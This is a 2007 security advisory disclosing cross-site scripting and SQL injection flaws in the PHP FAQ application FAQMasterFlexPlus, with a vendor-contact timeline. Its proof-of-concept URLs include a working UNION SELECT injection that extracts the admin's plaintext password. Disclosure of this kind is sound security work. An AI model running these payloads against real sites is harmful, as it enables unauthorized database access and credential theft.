- Security Advisory -<br><br><br>- FAQMasterFlexPlus multiple vulnerabilities -<br>---------------------------------------------------------------<br><br>Product: FAQMasterFlexPlus<br>Version: Latest version is affected, other not tested
<br>Vendor: <a href="http://www.netbizcity.com">http://www.netbizcity.com</a> <br>Affected by: Cross-Site Scripting & SQL injection<br><br><br><br><br><br>I. Introduction.<br><br>FaqMasterFlexPlus is a free, database-driven web-based application written in php for creating and maintaining
<br>Frequently Asked Questions (FAQs) on your web site.<br>It has language support and features according documentation are: "Allow to create unlimited categories and unlimited <br>Questions/Answers and has web-based category and FAQ administration with Add, Edit, Delete Capability.",
<br><br>It's free software, released under the GNU General Public Lisence (GPL).<br>Works with php & mysql and comes bundled in some versions of Fantastico (Cpanel X).<br><br><br><br>II. Description<br><br> Multiple flaws in FaqMasterFlexPlus have been discovered:
<br><br><br> 1) Cross Site Scripting:<br> <br> The script faq.php suffers an XSS bug, specifically the variable $cat_name it's not properly sanitized,<br> an attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies.
<br><br> All Admin scripts to add/edit/delete categories and add/edit/delete faq don't parse correctly the user supplied input too. <br><br><br> PoC: <a href="http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]">
http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]</a><br><br><br><br> 2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set to Off in the php.ini file).<br><br> All the scripts suffers for sql injections attacks in the querys to the database.
<br><br> PoC: <a href="http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*">http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*</a>
<br> <br><br> Then get a new line like this:<br><br> Q faquser@localhost<br><br><br> or a Proof of Concept to get the admin password:<br><br><br> <a href="http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin">
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin</a><br><br> <br><br> Q supersecretpassword<br><br> <br> bingo! ;)<br><br><br><br>
Besides password is stored in plain text, this is a big security flaw.<br><br><br><br> This software is infected with many bugs and must be fully audited for enforce the security.<br><br><br><br><br>III. Timeline <br>
<br> 08/05/2007 - Bugs discovered<br> 10/05/2007 - Vendor Contact (No Response)<br> 12/12/2007 - Vendor Contacted Again (No Response)<br> 28/12/2007 - Advisory Disclosure<br><br><br><br>IV. Credits<br> <br> Juan Galiana <jgaliana gmail com>
<br><br><br>Regards<br><br>